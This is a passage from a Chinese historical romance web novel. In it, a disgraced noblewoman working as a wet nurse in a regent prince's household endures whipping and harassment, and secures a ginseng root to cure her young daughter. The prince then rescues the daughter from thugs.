小时候父亲总教训他,说他歪头看人的样子不规矩,不许他这样看人。但父亲不知道,他歪过头时右眼才看得更清。 “你的右眼,是不是看不清?”谢砚凛抚上锦宝儿的眼睛,缓声问道。 他声音很沙哑,因为耳朵的关系,说话时语调也与正常人不一样。 锦宝儿眨巴了几下大眼睛,摇摇小脑袋:“锦宝儿壮壮的,眼睛也壮壮的,看得清!” 她才不会说自己右眼看不清呢,娘亲给她治病很辛苦,她不想让娘亲知道宝儿的眼睛也生病了。 “真的?”谢砚凛又凑近了些,看锦宝儿的眼睛。 锦宝儿抬起凉凉软软的小手,抵在了谢砚凛的脸上,“不要亲宝儿,只有娘亲和姑姑能亲宝儿。” “宝儿,王爷不会伤害你,你把手放下!王爷是听不见,所以要离你近一点,看你的嘴巴说话……”卫昭赶紧过来哄她。 “别动。”谢砚凛抬手挡开他,仍保持着弯腰的姿势,任宝儿的手放在自己的脸上。 锦宝儿开口了,眼睛眨巴眨巴的,一脸的认真:“你是不是生病了?嘴巴疼疼啊?我娘亲做的饼能治病,你要不要买呀?” 她拿起小锅里热好的萝卜饼,双手捧到谢砚凛面前,一脸期待地看着他。 “只要十文钱一个,香的!吃了身体壮壮的!” 卫昭:…… 他家王爷看上去像病人吗?这话可不兴说! “乖宝儿,王爷身体康健,没有生病。”他上前去小声解释。 锦宝儿又歪了歪小脑袋,理直气壮地说道:“可是他耳朵生病了,吃了萝卜饼就会好。好吃的萝卜饼,我只卖十文钱一个哦!锦宝儿,真善良啊!” 她最后一句话仰高了小脸,又奶又大声,引得四周的人都看了过来,全被她逗乐了。 拢烟:…… 有点儿尴尬,可是这不是锦宝儿在胡说,这些话全是沈姝平常夸锦宝儿的。锦宝儿壮壮的,锦宝儿真善良啊,锦宝儿真是天底下最漂亮的宝宝…… 卫昭握了拳,轻声咳嗽了起来。 三岁的小丫头,就算冒犯了谢砚凛,他还能打小丫头不成。况且谢砚凛根本听不到!若是王爷问他宝儿说了什么,他就胡编几句,说锦宝儿刚刚一直夸王爷威武,要送饼给他吃。 谢砚凛低眸看着递到面前的饼,哑声道:“卫昭,钱。” 卫昭松了口气,连忙拿出钱袋,从里面抓了一把碎银子出来。 嗯,好像多了……这一把碎银子,应该有三两,够这姑侄过一阵子了。 他偷瞄谢砚凛,见他没朝自己看,于是飞快地把银子全塞给了拢烟,小声道:“拿着,回家去。” 他是觉得陈义虽是太监,却以残破之躯,大义赴死,死战不退,很值得钦佩。既然沈姝是陈义娶的妻,那不管这孩子是谁的,都算是陈义的后人,他该帮衬才对。 卫昭刚想把钱收起来,突然谢砚凛那修长的伸过来,夺过钱袋,轻轻地放到了锦宝儿怀里。 “拿着。”他哑声道。 沉甸甸一袋银子! 起码有七八两。 锦宝儿双手往下一坠,小嘴巴张得老大,震惊地看向了谢砚凛, “大人,这些银子,你都不要了吗?”她眨巴着眼睛,呆萌萌地问道。 “王爷赏赐给你们的,拿着吧。”卫昭朝拢烟打了个手势,低声道:“别在王府附近呆着,早点回去。” 拢烟明白他的意思,沈姝在王府当差,她和宝儿在这里会让沈姝分心,办砸了差事就不好了。 “多谢王爷赏赐。”拢烟行了礼,拖起板车往回走。 锦宝儿坐在板车上,自己把小花被子扯起来披好,埋着小脑袋,激动地数银子。 一块一块地摆在面前,再一块一块放回钱袋里。然后再拿出来一块一块地数,再装进去…… 她能数一百个数,现在这里有二十个碎银子,是很多很多的钱!她有钱啦!娘亲可以回家,不用当奶娘。她也不要吃有肉的萝卜饼,她只想天天和娘亲呆在一起。 谢砚凛一直看着宝儿,心里竟生出一丝丝的不舍。 怎么会这样? 他摁住胸口,想要揉散这点奇怪的感觉。许是最近太平日子过多了,人也多愁善感起来了,看到和谢黯一样乖巧的小孩,就会情不自禁的多出几分怜爱。 “王爷,安王和常阳郡主来了。”卫昭突然皱起眉,指着凛王府大门方向说道。 王府门口浩浩荡荡地来了好一堆人。领头的是一身明艳骑装的崔敏。六王爷霍寻安和丞相府驸马郑惊澜跟在她左右,身后是一大群随从,手里捧了好些礼盒。 崔敏是崔明珠的亲堂妹,崔明珠战死后,崔家人都得了封赏,崔敏更因为救太后有功被封了郡主。她与崔明珠感情好,所以时常会来看望谢黯。太后也有意将她许给谢砚凛,让她亲自来照顾小公子。 但谢砚凛从无此意,所以只要她来了,便会避而不见。 卫昭把写好的字举给谢砚凛看:王爷可要暂避? 谢砚凛脑袋歪了歪,抬步往府门口走去。 …… 王府,谢砚凛主院。 沈姝洗净了玉兰花,一片一片擦净铺开。等花瓣晾干,一半用蜜浸泡,一半用来做菜。 花瓣为食是可行的事,她看过小公子的病案册子,可以用玉兰花做一道玉兰花蒸糕,一道香焗黄鱼,再配上一碗南瓜蒸米饭。 咔嚓咔嚓的脚步声传了进来。 沈姝转过身,恭顺地行礼:“王爷。” 第12章 奶娘,调笑 脚步声停下,又有脚步声近来。 沈姝敏锐地察觉到这并非谢砚凛的脚步声,他沉稳,就算走得快,步子步幅也稳而序。可方才的脚步声一会快一会缓,踩在地上的声音也不是谢砚凛穿的布靴动静,而是缎面软皮的靴子发出的声响。 看来是皇族中人,来的还不止一个。 沈姝的头埋得更低了,肩也轻轻缩了起来,尽量降低存在感。 清亮的女声从门口响起:“这些全是给小公子的,都仔细些搬。” 这声音沈姝曾听过,当年常去太后宫里的崔敏,现如今京中最负盛名的常阳郡主。经过四年战乱清洗,京中追捧的世家女已经不是娇弱无力的女子了,而是常阳这样能骑马,会几招武功的女子。 “你还蹲着干什么,还不去搬东西!”常阳公主从沈姝面前走过,用马鞭往沈姝身上抽了一下。 这一鞭子抽得有些疼。 沈姝埋着头,眉头微微拧一下,嘴里轻轻应了声:是。 她双手端于身前,快步往门口走。视线落处是几双绣花描金的软皮靴子,缀着明珠宝玉。一人着蟒袍,一人是明黄色锦袍,看纹路是三品官职。 沈姝迅速收回视线,混进了赶来搬东西的奴婢人群里,连步子都放得和众人一样快速。 “那个沈娘子,你不要去搬东西,你是伺候小公子的,别沾上杂物之气。”这时一名大婢女快步跑过来,拦下了沈姝。 沈姝停下脚步,声音放轻:“明白。” “咦,就是那个请来挡灾的寡妇奶娘?”崔敏走过来,好奇地看向沈姝。 她知道老夫人请民间妇人的事,要用妇人的粗使命格来保护小公子。不过她讨厌寡妇,觉得这种妇人不配伺候她的小外甥。 “把头抬起来,怎么你不敢见人吗?”崔敏不悦地质问。 沈姝微微抬起了头,露出一点点脸宠。 她梳着老气的妇人发式,戴着一根素银钗子,除此之外身上再无装饰,脸上也未有半点脂粉,素得不能再素了。 “你好生伺候着,不准怠慢小公子,否则本公主扒了你的皮。”崔敏隐隐觉得在哪里见过她,可认真想了想,又觉得不像。 ‘宫中有神颜,姝颜绝色人人馋’…… 那是神颜沈姝!沈姝怎么可能变成一个寡妇奶娘?沈家人九泉有知,还不爬出来打死她? “还不去?”崔敏又往沈姝肩头抽了一鞭子。 “是。”沈姝被抽得颤了一下,忍着疼,深埋着头往外走。 “等等。”一直站在旁边的郑惊澜叫了她一声。 沈姝身子微不可察了僵了僵。 该死的,怎么会是他!这个人,她真是一眼都不想看见。 “怎么,惊澜兄对小寡妇也有兴趣?”霍寻安饶有兴致地盯着沈姝看,眼神肆意地往沈姝的胸前瞟,“这小寡妇有点姿色,身子也生得好。想不到谢黯如今五岁了还要吃奶,便宜这小子了。” “六哥,你能不能文雅一点。”崔敏听不下去,捂着耳朵,冷着脸往谢黯的房间走。 霍寻安低笑几声,抬步往沈姝面前走:“小寡妇把腰挺直一些,让本王瞧瞧本钱够不够,可别饿着小公子。” “安王殿下,不可。”郑惊澜压低了声音唤了霍寻安一声。 “什么可不可的,本王还没试过小寡妇的滋味……”霍寻安伸手就想抓沈姝的肩,就在他的手掌快碰到沈姝时,一点寒光疾速打来,霍寻安脸色一变,慌忙缩回手。 那寒光贴着他的手背飞过去,在他手背上割出好长一条红痕。 “哪个不长眼的!”他怒斥着,转身看向身后。 谢砚凛一手负在身后,一手轻抛着一只薄如蝉翼的白玉刀,冷冷地注视着他。 霍寻安的怒色瞬间消失,嘴一咧,笑了起来:“你竟然在府里,本王还以为你又躲出去了。” 谢砚凛睥他一眼,转身往书房走去。 “安王,郡主,郑大人,这边请。”卫昭上前去,向几人行了个礼。 “今儿难得,竟还能进你的书房坐坐。”霍寻安兴致大增,立刻跟了过去。 沈姝松了口气,端起晒好的玉兰花瓣往外走。 突然,郑惊澜一个箭步走到她身后,低声唤道:“姝儿!” 沈姝保持着行走的步子,连头都没动一下,衣裙在走动中发出沙沙的动静,不时露出半只大脚板。 郑惊澜看向那只大脚,眉头皱了起来。姝千金之躯,不会有这么粗大的脚,是他看错了。 “郑大人,王爷等着了。”卫昭转过身,冲着他大声说道。 郑惊澜赶紧应声,几个快步追上了霍寻安。 “一个奶娘你也盯着看,没出息。”霍寻安嘲讽道。 “只是好奇罢了,老夫人给小公子请的挡灾妇,但愿有用。”郑惊澜笑道。 风把他的笑声吹散,飘出了主院大门。 沈姝大步往前走着,走得又快又稳,那双大脚不时在裙下显露出来,踩在青石子上,扑扑作响。 她这挡灾妇,当年可是用心庇护过郑惊澜的,只是沈家人一腔好心全喂了狗。 当年郑父犯了大错被流放,离京前把时年十一岁的郑惊澜托付在沈家,一住就是六年,那时沈姝才六岁,天天和郑惊澜一起吃一起玩,若有人欺负郑惊澜,她总是第一个冲出去帮忙。可后来沈家出事,郑家人全躲了起来,连看都没看她们一眼。 后来沈姝在宫里见过郑惊澜一次。 那一日宫宴,沈姝跪在陈贵妃面前捧香,她的手被烫得全是血泡,而郑惊澜一身华服,陪在崔敏身边,给她倒茶布菜。他甚至没朝沈姝看一眼,在那些女子刁难她时,他还跟着笑了…… 就这种翻脸不认人的白眼狼,短短四年时间,竟也混到了四品官职。 老天爷有时候真的挺瞎的,这种人也能让他当上官。 老天爷也挺招人烦的,怎么会让她在这儿遇到郑惊澜,真是添堵! 沈姝在大厨房里忙到晌午,这才回到耳房休息。 院子里很安静,常阳郡主他们已经走了。 很好,白眼狼走了,风都清新了许多。沈姝轻捶着酸痛的手臂,关上门窗,脱了鞋子揉脚。她的脚其实不大,只是之前受过伤,便习惯穿大一点的鞋子,这样走路舒服。 待脚舒服些了,她又褪了衣衫,对着小铜镜,扭着脑袋看背上被崔敏用鞭子抽过的地方。 崔敏下手没轻没重,现在背上好深一道鞭痕。 沈姝已经有好些年没挨过打了,这一鞭子还真让她想到了宫里的日子。 啊呸,真是几个晦气人! 她皱皱眉,拧开了一罐草药膏,反过手往背上抹药。 咚咚…… 门叩响了,她抬眸看去,窗子上映着谢砚凛高大的身影。 为奴为婢,就得随时听侯差遣。她穿上衣衫,低头过去开门。 第13章 伤痕,冲动 “王爷。”沈姝开门向他行礼。 谢砚凛转过身,头轻轻歪了歪,盯住了沈姝的脸,一双眸子灼亮而幽深,满是翻滚的情绪。 沈姝被他盯得心里有些发慌,也不知道今日哪里做得不够好,招得这尊大佛亲自跑来瞪她。 “王爷有何吩咐?”她回到屋里,铺开纸笔写字,然后举到他眼前看。 谢砚凛看了一眼纸上的字,抬步进了屋。 沈姝的耳房收拾得很干净,小桌上放着一件做了一半的小衣裳,这是用旧衣改成的,小裙子上绣了几只蝴蝶。 谢砚凛拿起小裙子看了看,又转身看向了她。 沈姝一头雾水地看着他,这是想干吗?不会想辞退她吧? 她的心咯噔一声响,赶紧露出更谦卑恭顺的神情,握着笔写道:王爷有事尽管吩咐。 “孩子父亲,是谁?”谢砚凛扫了一眼那张纸,视线落到她的脸上。 啊?她不是早说过了吗?是陈义呀! 她轻挽了袖子,在茶碗里蘸了水,在桌上写了大大的陈义二字。写大一点,可能是他之前没看清。 “他,是太监。”谢砚凛压根不看她写的字,只管盯着她看,想要捕捉她脸上任何细微的表情。 果然沈姝的神情变了,她埋着头,手指抵在桌上,指尖都抵得泛了白。 “说~”见她不答,谢砚凛往她面前逼近了几步。 沈姝吓了一跳,赶紧往后退。 房间就这么大,谢砚凛往前一步,沈姝就得往后退一步,直到退到了柜子前。坚硬的柜角抵在她的背上,那道鞭伤被硌得生疼。 她反手摸了一把,只见手上竟染了一片血色。 应该柜角把鞭伤给磨破了! 她受伤了?谢砚凛眼神一沉,握住她的肩,把她转过去看。 衣背正中一道血色,正慢慢泅开。 人在府中,怎么受的伤?崔敏那一鞭子抽的?谢砚凛想都没想,直接掀起她的衣衫。 “王爷……”沈姝慌了,反手就想挡。 男女授受不亲,他怎么能掀她衣裳! “别动!”谢砚凛握住她的手腕,把她的手摁了回去。 视线落在她的背上,满是错愕震惊。 单薄的背上旧伤纵横交错,鞭打的,烫过的…… “谁打的?”他哑声问。 打她的人可多了。十一岁那年进宫,她当洗衣婢,寒冬腊月打翻了水盆,被摁在冰冷的地砖上打了十棍。又让她去刷恭桶,被人拽着头发在满地脏污里拖行,最后扔进一堆恭桶里…… 那一张张凶狠的脸在她脑子里闪过,一时清晰一时模糊。她其实全知道,是有人买通了宫里的人折磨她。 父亲正直,得罪了好些人,那些人为了让父亲招供,想用她的生死来拿捏父亲。 突然,沈姝感觉到背上多了一股清凉的感觉,她侧过脸去,只见谢砚凛握着一只小药瓶,正给那道鞭伤涂药。 “王爷,我自己来。”她轻声道。 谢砚凛歪过头看着她的眼睛,低低地问:“什么?” 哎,算了,他听不到,他爱擦就擦吧。 他是凛王,是主子,他有给奴婢擦药的爱好…… 而且这药膏药冰冰凉凉,怪舒服的,比她那罐自己熬的草药膏舒服多了。 “谢砚凛,你真听不到啊?”她侧过头看看他,见他垂着眸子毫无反应,于是大胆地说道:“你干吗管我孩子爹是谁,多管闲事!那是个狗东西,跟别的女人跑了!我十月怀胎,辛辛苦苦生下宝儿,她有娘就够了,不需要爹。” 总不能让她四处去说,她的宝儿是给某个男人留的种吧!唾沫星子能淹死她的锦宝儿!沈姝顿了顿,又有些难过起来。 “宝儿先天不足,要在秋天之前买根百年人参做药引,才能治好她的病,过了今年,这病就难治了。徐掌柜愿意便宜卖给我,可也要七十两,还是品相最不好的一支。你是大人物,能不能别为难我。我是给小公子当奶娘,又不是给你当奶娘。” 谢砚凛收起药瓶,俯过脸来,贴近了沈姝的脸看她。 她的鼻上有没有红痣,看人时眼睛明亮,从不歪头。 这是不是说明……孩子其实随了父亲? 沈姝眼看他越离越近,紧张得一动不敢动。谢砚凛是在血海里滚过的摄政王,一身凌厉冷肃,少见笑脸,盯谁谁心慌。 “你刚刚说什么?”突然,谢砚凛捏住了她的下巴,头也靠得更近了些。 “没什么……”沈姝松了口气,朝着他缓缓摇头,生怕头晃得幅度大一点就亲上他。 就在这时,谢砚凛往她耳边凑了凑,一字一顿地说道:“想做吗,我的奶娘?” 沈姝整个人如雷击中。 谢砚凛他竟然能听得见! “隔得近,能听到几句。”谢砚凛看着她震惊的样子,又补了一句。还是不能把她吓跑了,他还有事要弄明白! 到底是听到了几句,还是所有啊?沈姝努力回想方才说的话,有没有太过分的…… 僵持了好一会儿,谢砚凛终于退后了些,哑声道:“人参,我给你。” 沈姝不敢置信地看向谢砚凛:“真的?” 他愿意给她人参? 条件呢?他想让她做什么? 沈姝激动手都有些发抖,别真是让她做他的奶娘吧…… 只要给她人参,他的奶娘……她也行。不就是哄他睡觉,给他喂饭,给他洗澡…… “王爷尽管吩咐!”她激动地说道。 “等着。”谢砚凛把药瓶随手往小床上一扔,转身往外走。 沈姝追到门口,可衣衫还散着,等她穿好衣服出去,谢砚凛早不见了。 这大半日下来,沈姝过得极煎熬。 好不容易等到谢黯下学,吃完晚膳,进了书房温书,回房睡觉,谢砚凛都没有出现。 谢黯眼看沈姝一直往外看,于是仰着小脑袋看沈姝,“淑姨有事找小叔?他赴宴去了。” 早不赴,晚不赴,今晚赴。沈姝心里像塞了几只大虾,夹得她难受。 沈姝哄谢黯睡下,到门外等谢砚凛。 她想好了,接下来十个月她都不拿钱,就抵这人参钱。正等得心焦如焚时,终于有了他回府的动静。 “王爷回府。”问安声有些小,远远地只见他修长的身影踩着月色渐行渐近。 沈姝的精神一下子就打起来了,搓搓手,整理了一下头发,快步迎了上去。 跟在谢砚凛身后跟了四五个婢女,赵姑娘也在其中,手里抱着谢砚凛的披风。 看到沈姝过来,赵姑娘的脸一下就拉长了。 “沈娘子不在小公子房里伺候,怎么出来了?”她面色不善地盯着沈姝。 “奴婢是去准备明日的早膳。还要把乳糕提前蒸着。”她耐心回道。 说话间谢砚凛已经从她身边走过去了,一记眼神也没给她。 啊啊啊啊,男子汉大丈夫,说好了给她参,别不理她啊! 第14章 六哥,疼爱 眼看谢砚凛进了房间,赵姑娘转身走到沈姝面前,凶狠地瞪着她。 “沈娘子在打什么主意?”赵姑娘咬着牙质问。 “赵姑娘莫要误会,我知道自己的身份,只是去厨房准备早膳,恰恰遇上了。”沈姝耐着性子解释。 “你最好如此,老夫人可容不得心思不正的货色,你不珍惜自己的小命,也要惜得你女儿的小命。”赵姑娘冷哼一声,转身看向那些婢女:“都盯好沈娘子,不过一个挡灾的盾,用得好就用,用不好劈了当柴烧,也是她的贱命。” 沈姝手指紧蜷着,垂眸沉默。 她明白晴竹那事八成也和赵姑娘有关,可现在她只能忍。谁让谢砚凛说要给她人参呢?今日且当一回乌龟,任她骂去。拿了参,治了病,她便不怕了。 等赵姑娘走了,她没敢立刻进谢砚凛的房间,而是去了大厨房。做戏做足,说了是准备早膳,她便不能让人落下话柄。 厨房里亮着灯,刘昭娘也在忙碌,准备明日谢砚凛的早膳。见她进来,刘昭娘只微微点点头,算是打了招呼。 沈姝也没敢乱说话,以免再出错。她取了冰镇着的牛乳酪,面粉,糖霜,着手做点心。 “不怕她们问,为何做得出这般精细的东西?”刘昭娘转头看她,轻声问道。 “我在大户人家做过。”沈姝柔声回道。 她确实在一个富商家做过一阵子厨娘,那户人家眼看生意渐差,索性结了生意,卖了店铺,全家迁去了北方。 刘昭娘头埋低,声音更小了:“我听说晴竹那丫头脸上起满了疹子,回去养着了。” 刘昭娘怎么会对她这么和善?沈姝心中一动,认真地打量起了刘昭娘。她看着是三十多岁的年纪,模样生得普通,眼角有了风霜,并不是宫中见过的旧人。 “老夫人进完香就快回府了,她们会告状,你得想法子让小公子离不开你。”刘昭娘挥起菜刀,剁在鸡身上,咚咚咚的声音让她的话听上去零零碎碎的。 沈姝用心听着,她能确定刘昭娘对她没有恶意,她猜想,刘昭娘会不会是沈府的老人,她那时年纪小,没有注意过刘昭娘。 “六哥儿买的。”刘昭娘突然摸向耳朵上戴的白玉耳坠子。 沈姝如雷击中,不敢置信地看着刘昭娘。 是她兄长沈霖?!他生于六月,小名六月,好多人都爱他六哥儿。 沈霖一直对沈姝极为疼爱,自打她出生,沈霖便天天抱她背她哄着她。他被腰斩那日,是他二十一岁生辰…… 昭娘、昭娘…… 沈姝突然想到了母亲的陪嫁嬷嬷,她的女儿就叫昭娘。嬷嬷在沈霖十四岁那年拿回了身契,辞工归家,就在街上开了个小食馆。沈霖总是偷溜出府去见昭娘,那是他情窦初开的年纪,第一个喜欢上的女孩,甚至曾向母亲提出要娶昭娘为妻。 刘昭娘手下不停,咚咚地剁着鸡肉。大颗的泪珠落在她的手边,她飞快地抬手擦了擦眼睛,端起切好的鸡肉走支灶台边,用力倒进大铁锅里,挥起锅铲用力翻铲。 沈姝呆呆地看着她,脑中一片空白,然后一一闪过了家人的脸。 大哥,二哥,三哥,爹爹,娘亲……全家四十七口都死于菜市口,斩首,腰斩,五马分尸……行完一个刑,再杀第二个,后面的人就这样看着,眼睛里流出来的不是泪,是血! 沈姝那日在宫里,双手泡在冰水里洗衣裳,她不小心打翻了水盆,被吊起来打…… 爹娘,哥哥,他们已经许久不曾入梦来了,竟不想在凛王府见到了昭娘。 她一直戴着白玉坠子,难不成一直未嫁? 沈姝擦了把眼泪,沉默地把乳糕放到蒸笼上,然后过去抱了抱刘昭娘,转身离开了厨房。 她是逃宫的罪奴,她不能和昭娘相认。 沈姝心里阵阵绞疼,实在走不动了,停在湖边,无力地靠在海棠树上,额头抵于树干,袖子咬于嘴中,拼命忍着快冲破双唇的哭声。 许久,她有许久没有梦到过他们了。 自他们离开后,世间再无人疼她。她在宫里拼命挣扎,用尽全力,最终也不过是保得了性命而已。身为沈家女,她真是丢脸啊! 天道不爱她,让她在世间痛至如此。 她一日不敢停歇,也只能勉强养活自己和女儿。 “沈娘子?”卫昭犹豫的声音传了过来。 沈姝慌忙擦掉眼泪,转身看向卫昭。 “你怎么一个人在这里哭?有人欺负你?”卫昭举高了手里的灯笼,狐疑地看着她。 “没有,就是想宝儿,惊扰卫大人了。”沈姝挤出笑脸,朝他微微曲膝行了个礼。 “诶诶,不用朝我行礼,也不用叫大人,我只是个侍卫。”卫昭连忙上前扶她。 “要的,王爷身边第一人,大人当得起。”沈姝垂下头,柔声说道。和卫昭拉近关系,可以麻烦他安排人替她送东西回去。 “走吧,我送你回去,小公子半夜醒了寻你可不好了。”卫昭把灯笼举到她前面,冲她咧咧嘴笑道:“你以后想女儿就告诉我,我让人把她抱来,让你们在角门处见见面。” “多谢。”沈姝喜出望外,连忙又行礼。 “诶诶,别别……”卫昭赶紧托住她的胳膊,笑道:“你礼数可真多,比这府里的丫头礼还多。” 沈姝苦笑,“她们是王府的人,我比不得,自然得更恭敬些。” “你如今也是王府的人,放心,你是陈义的遗孀,他既是战死的,于情于理我们这些从大营出来的人,都要多照顾一些。”卫昭大大咧咧地说着,手一直托在沈姝的手臂上。 咔嚓…… 前面响起了微重的脚步声,踩断了一根断枝。 沈姝惶然抬眸,只见谢砚凛正转身离开。 “王爷怎么出来了?莫非夜游症又犯了。”卫昭把灯笼塞给沈姝,快步去追王爷。 沈姝在原地站了会儿,等到看不到他们了,这才举着灯笼往回走。 院中静静的,她先去看了看谢黯,见他仍在熟睡,这才出来,在门口坐着看星星。 她还是想等等谢砚凛,问一下参的事,能不能天亮就给她。 宝儿在雨天难熬得很,京中春季多雨,若能早些治好,也免得宝儿再咳上一个春天。 不入京,寻不着参,挣不着钱;入了京,宝儿痛苦难熬,真是左右为难。 在台阶上坐了好一会儿,总算看到谢砚凛回来了。 沈姝没敢像之前一样急急迎上去,就怕院中伺候的婢女们见到了,明天找赵姑娘告状。 她坐在台阶上,心焦如焚地看着谢砚凛,就怕他又回书房去。 终于,他脚步停在院中,朝她这边看了过来。 他晚上应该陪小公子睡的,赶紧过来吧……沈姝眼巴巴地看着他,眼里有了泪都不自知。 天地万物仿佛都静止了,沈姝望向谢砚凛时微急的呼吸声渐渐大了起来。 他抬起脚,朝着沈姝这边走了过来。 沈姝赶紧站起来,微弯了腰退到门边,他上了台阶,她马上行礼,然后恭敬地推开门。 第15章 舒服,上门 谢砚凛进了房间,沈姝马上跟过去。他抬手欲解衫,沈姝立刻抢先一步把手搭在他的衣衫上。 纤细的手指微微发抖,一枚、一枚解开衣上的盘扣。 “你做什么?”谢砚凛握住她冰凉的手,低眸看她。 沈姝仰起脸,一脸恳求地看着他,双唇微抖,一字一顿地说道:“求王爷,给我人参。” “我愿意做牛做马,报答王爷。” “这府里的活我都能干,之后的月钱请王爷全部扣掉,直到还清为止。” “我愿意做王爷的……奶娘。” 只要一想到宝儿马上就能吃上参,能真的长得壮壮的……她愿意!她那时少年,未能为家人做半点事挽救他们,如今她拼命也要把宝儿养好。 谢砚凛往榻上一坐,语气生硬地问道:“何必生她?” 他是有些生气的,乱世之中,她自己活着都艰难,竟还为了一个跑掉的男人生下孩子,她是多蠢? 可沈姝有什么办法,她想过不要这孩子,免得她生来受罪。可是这孩子一直在她肚子里躺着,不肯落下。待月份大一些,她便舍不得了。 眼看谢砚凛反悔了,她赶紧绕到他身后,殷勤地给他锤肩捏背。 她在宫中伺候太后时,太后就极爱她这套手法,她也因此脱离了陈贵妃的魔爪。 背上每个穴位她都能给他按舒坦了,按得他嗷嗷叫…… “嗯~”谢砚凛喉结沉了沉,发出一声闷哼。随即脸色一变,立刻侧身抓住她的手腕,“你,放肆……” 沈姝眨巴着眼睛,小声道:“王爷明明很舒服!奴婢还会按腿……” 谢砚凛的双腿立刻收紧,哑声道:“出去!” 有福不会享!她的手法天下无双!可沈姝能怎么办,还能把他强行摁住了揉搓一番? 她行了礼,满心失望地往外走。 “明日,给你。”谢砚凛盯着她那耷拉下去的肩,忍不住说道。 沈姝飞快转身看向了榻上。宝蓝色的锦帐挡住了他的身影,只看到他翻身时帐幔抖动了几下,便陷入安静。 沈姝嘴角一勾,开开心心地走了出去。 明天就能拿到人参了! 然后拜托卫昭送回去,拢烟知道怎么做,给宝儿熬药,喂她服下,宝儿的病便能好。 沈姝掩上门,本想坐在门口静待天亮,他醒了就找他要人参。可转念一想,如果谢砚凛觉得她讨参的嘴脸难看,又反悔不给她了怎么办?所以便回了自己的小耳房里坐着等。 窗户敞了小半扇,正好能看到那边的房门。 月挂海棠枝,清冷的月辉落在门前小小一方空地上,有细微的尘土在月光里飞舞缠绵。 沈姝看着那缕月光,数着时辰,等着天明。 不知何时,沈姝睡着了。 梦里面,她坐在那个大红帐里,坐在那男人腰上,以唇衔药,喂入男人的嘴里。突然,男人猛地睁开了眼睛,伸出手掐住她的咽喉!沈姝痛苦地挣扎起来,一把抓住了他的面具,猛地揭开…… 啊!沈姝从梦里惊醒,她猛地坐起来,只见一张清秀的小脸儿正趴在窗台上关切地看着她。 谢黯已经起来了。 “小公子恕罪,奴婢睡过头了。”她赶紧起身,向谢黯行礼。 谢黯露出笑容,说道:“小叔说你昨晚给我蒸很香的牛乳糕,一晚没睡。” 沈姝往院中看,那里站着几个护送谢黯上下学的侍卫,不见谢砚凛。 “这个给你。”谢黯往桌上指。 沈姝飞快地看向桌上,只见一只半臂长的丝绒锦盒,她呼吸一紧,连忙捧起锦盒打开。 一支品相极佳的人参卧于盒中,色泽,形状,根须,全都完美无缺。 “你把参给小妹妹送回去吧。”谢黯朝她挥挥手,快步走向了侍卫。 “多谢小公子,奴婢一定准时回来,晚膳给小公子做八宝鸭。”沈姝追出门外,大声说道。 谢黯朝她笑笑,钻进了轿中。 沈姝心中一颗大石头终于缓缓落地,她匆匆收拾了一下,带着参就往外走。 “沈娘子这是去哪儿?”赵姑娘冷着脸,拦到了门口。 “小公子准我的假,让我回家办点事情,晌午一定赶回来,不耽误小公子的晚膳。”沈姝忍着脾气说道。 “去吧。”赵姑娘冷冷一笑,侧身让开了路。 沈姝不想与她计较,如今送参要紧。她向赵姑娘道了谢,快步往外走去。 …… 长胡同小院。 拢烟整理着前一晚做好的灯笼和草鞋,准备出摊。锦宝儿蹲在院中,挥着小铲子挖坑,挖好一个小坑,捏着一小撮种子放进去,再把小坑铺平,拿起一边的小碗舀水,倒在小坑上。 她在种萝卜。 “种萝卜,大萝卜,白萝卜……”她哼着小曲,抬起小巴掌往脸上抹了一把汗,小脸儿上多了一道泥痕。 “宝儿,洗洗手,出摊啦。”拢烟把东西放好了,回房间去拿收钱的匣子。 锦宝儿埋头种萝卜,应了一声:“好哒,种完大萝卜就洗手。” 吱嘎…… 门推开了,一个妇人带了几个男子,势汹汹地闯了进来。 锦宝儿扭过头,好奇地看向她们:“你们是什么人呀?” “小杂种,马上就收拾你!”妇人挽起了衣袖子,冷笑一声,骂道:“给我砸!” 几人冲到板车前,抓起上面的灯笼就往地上丢,大脚踩上去,一脚一只,几十个灯笼眨眼间就被踩得稀烂。 “坏人!这是我娘亲和姑姑做的灯笼!”锦宝儿急了,跑过去推那妇人。 “小杂种敢推我。”妇人弯下腰拧锦宝儿的耳朵,凶神恶煞地骂道。 锦宝儿小脸涨红,一只手护着耳朵,一只手使劲往身后掏。她从背后腰带里掏出一个小锤锤,用力往妇人脑门上敲了一下。 砰…… “坏人!”她大声嚷嚷。 妇人没防备,额头上挨了一下,顿时哎唷叫了起来。 “小杂种你敢打我!”妇人捂着脑门,一把夺过了宝儿手里的小锤锤,又拧住了锦宝儿小脸:“老娘我今日非扒了你的皮……哎唷……” 锦宝儿左手又往后掏,又掏出一个小锤锤!挥着小锤锤往妇人嘴巴上敲。 她有两个小锤锤!娘亲说过,遇到坏人不要慌,拿小锤锤打她! “打你的牙牙!让你做缺牙婆!”她大声嚷嚷。 “小杂种!”妇人牙差点被敲掉,疼得捂着嘴惨呼了起来。 拢烟跛着脚,想从几个男人的阻拦中冲过来,但她再能打,也打不过四五个男人。眼睁睁看着妇人拎起了锦宝儿的胳膊,要把她往井里丢。 “宝儿才不是小杂种,宝儿是最乖的宝宝。”锦宝儿在半空中乱踢,大声说道。 “宝儿。”沈姝冲进院子,抄起靠墙放的木锤狠狠打在妇人的后背上。 妇人哎唷一声叫,锦宝儿从她手里掉出来,摔坐在了地上。可她没哭,爬起来就往树下跑,趴在树后面大声道:“我爹是大英雄,他守城门,流好多血都不喊疼!我让我爹今天晚上就爬去你家打你!” “臭丫头片子,我倒要看看你那死掉的爹怎么来打我。”一个男人转过身,朝着锦宝儿冲过去。 他才跑到院子中间,突然身体飞了起来,砰的一声,重重地砸在地上。 沈姝往门口看去,那谢砚凛披着一身黑色披风,站在门口,长指轻轻推着披风兜帽,抬眸间,一双冷瞳里戾气瞬间迸发。 第16章 抱她,索要 他怎么来了? 沈姝一时分神,手里的木锤被那恶妇人夺了过去。妇人挥起木锤就往沈姝身上砸。 “贱婢你敢打我。”妇人咆哮道。 砰的一下,妇人也飞了出去,她哎哟叫唤着,转身看向院中。光晃得她睁不开眼,等她眯着眼睛看清来人,吓得整个人都瘫软在地上。 “你这恶妇!竟敢虐打这么小的孩子!”卫昭大步过去,一把揪起那妇人的胳膊,怒斥道:“谁派你来的?” 妇人哆嗦道:“我是、我是来讨债的。沈娘子勾引我男人……” “放你娘的狗屁,沈娘子能看中这几个歪瓜劣枣?还没老子长得好看。”卫昭朝地上的几个男人啐了一口。 几个男人跪在那里,动都不敢动。 “抓,审。”谢砚凛大步走到锦宝儿面前,低眸看向她。 